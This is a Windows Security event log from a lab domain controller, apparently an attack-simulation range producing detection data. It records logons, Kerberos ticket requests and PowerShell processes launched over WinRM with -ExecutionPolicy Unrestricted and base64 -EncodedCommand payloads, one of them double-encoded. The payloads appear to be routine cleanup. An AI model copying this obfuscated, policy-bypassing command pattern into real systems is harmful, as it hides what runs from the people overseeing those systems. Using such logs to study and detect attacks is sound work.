	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64656

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252629
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16D01B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252628
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16CE6B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252627
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x16CE6B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64655

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252626
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16CE6B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252722
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf30
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf2c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANgAwADEALgAxADIAMAAzADUAMgAtADQANgA5ADcANAAzADAAMQA4ADkANAA2ADUAMQAiACAALQBGAG8AcgBjAGUAIAAtAFIAZQBjAHUAcgBzAGUAOwAKAEkAZgAgACgALQBuAG8AdAAgACQAPwApACAAewAgAEkAZgAgACgARwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApACAAewAgAGUAeABpAHQAIAAkAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAAfQAgAEUAbABzAGUAIAB7ACAAZQB4AGkAdAAgADEAIAB9ACAAfQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252721
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17023C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252720
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17023C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{462EC796-07EC-D979-0D81-A49ABFD4835E}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252719
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{462EC796-07EC-D979-0D81-A49ABFD4835E}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252718
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{462EC796-07EC-D979-0D81-A49ABFD4835E}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252717
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252716
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf2c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4a8
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAGcAQQB3AEEARABFAEEATABnAEEAeABBAEQASQBBAE0AQQBBAHoAQQBEAFUAQQBNAGcAQQB0AEEARABRAEEATgBnAEEANQBBAEQAYwBBAE4AQQBBAHoAQQBEAEEAQQBNAFEAQQA0AEEARABrAEEATgBBAEEAMgBBAEQAVQBBAE0AUQBBAGkAQQBDAEEAQQBMAFEAQgBHAEEARwA4AEEAYwBnAEIAagBBAEcAVQBBAEkAQQBBAHQAQQBGAEkAQQBaAFEAQgBqAEEASABVAEEAYwBnAEIAegBBAEcAVQBBAE8AdwBBAEsAQQBFAGsAQQBaAGcAQQBnAEEAQwBnAEEATABRAEIAdQBBAEcAOABBAGQAQQBBAGcAQQBDAFEAQQBQAHcAQQBwAEEAQwBBAEEAZQB3AEEAZwBBAEUAawBBAFoAZwBBAGcAQQBDAGcAQQBSAHcAQgBsAEEASABRAEEATABRAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEASQBBAEIATQBBAEUARQBBAFUAdwBCAFUAQQBFAFUAQQBXAEEAQgBKAEEARgBRAEEAUQB3AEIAUABBAEUAUQBBAFIAUQBBAGcAQQBDADAAQQBSAFEAQgB5AEEASABJAEEAYgB3AEIAeQBBAEUARQBBAFkAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEAVQB3AEIAcABBAEcAdwBBAFoAUQBCAHUAQQBIAFEAQQBiAEEAQgA1AEEARQBNAEEAYgB3AEIAdQBBAEgAUQBBAGEAUQBCAHUAQQBIAFUAQQBaAFEAQQBwAEEAQwBBAEEAZQB3AEEAZwBBAEcAVQBBAGUAQQBCAHAAQQBIAFEAQQBJAEEAQQBrAEEARQB3AEEAUQBRAEIAVABBAEYAUQBBAFIAUQBCAFkAQQBFAGsAQQBWAEEAQgBEAEEARQA4AEEAUgBBAEIARgBBAEMAQQBBAGYAUQBBAGcAQQBFAFUAQQBiAEEAQgB6AEEARwBVAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEARABFAEEASQBBAEIAOQBBAEMAQQBBAGYAUQBBAD0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252715
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4a8
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x134c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAGcAQQB3AEEARABFAEEATABnAEEAeABBAEQASQBBAE0AQQBBAHoAQQBEAFUAQQBNAGcAQQB0AEEARABRAEEATgBnAEEANQBBAEQAYwBBAE4AQQBBAHoAQQBEAEEAQQBNAFEAQQA0AEEARABrAEEATgBBAEEAMgBBAEQAVQBBAE0AUQBBAGkAQQBDAEEAQQBMAFEAQgBHAEEARwA4AEEAYwBnAEIAagBBAEcAVQBBAEkAQQBBAHQAQQBGAEkAQQBaAFEAQgBqAEEASABVAEEAYwBnAEIAegBBAEcAVQBBAE8AdwBBAEsAQQBFAGsAQQBaAGcAQQBnAEEAQwBnAEEATABRAEIAdQBBAEcAOABBAGQAQQBBAGcAQQBDAFEAQQBQAHcAQQBwAEEAQwBBAEEAZQB3AEEAZwBBAEUAawBBAFoAZwBBAGcAQQBDAGcAQQBSAHcAQgBsAEEASABRAEEATABRAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEASQBBAEIATQBBAEUARQBBAFUAdwBCAFUAQQBFAFUAQQBXAEEAQgBKAEEARgBRAEEAUQB3AEIAUABBAEUAUQBBAFIAUQBBAGcAQQBDADAAQQBSAFEAQgB5AEEASABJAEEAYgB3AEIAeQBBAEUARQBBAFkAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEAVQB3AEIAcABBAEcAdwBBAFoAUQBCAHUAQQBIAFEAQQBiAEEAQgA1AEEARQBNAEEAYgB3AEIAdQBBAEgAUQBBAGEAUQBCAHUAQQBIAFUAQQBaAFEAQQBwAEEAQwBBAEEAZQB3AEEAZwBBAEcAVQBBAGUAQQBCAHAAQQBIAFEAQQBJAEEAQQBrAEEARQB3AEEAUQBRAEIAVABBAEYAUQBBAFIAUQBCAFkAQQBFAGsAQQBWAEEAQgBEAEEARQA4AEEAUgBBAEIARgBBAEMAQQBBAGYAUQBBAGcAQQBFAFUAQQBiAEEAQgB6AEEARwBVAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEARABFAEEASQBBAEIAOQBBAEMAQQBBAGYAUQBBAD0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252714
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17007D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252713
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17007D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{462EC796-07EC-D979-0D81-A49ABFD4835E}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252712
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{462EC796-07EC-D979-0D81-A49ABFD4835E}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252711
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{462EC796-07EC-D979-0D81-A49ABFD4835E}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252710
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
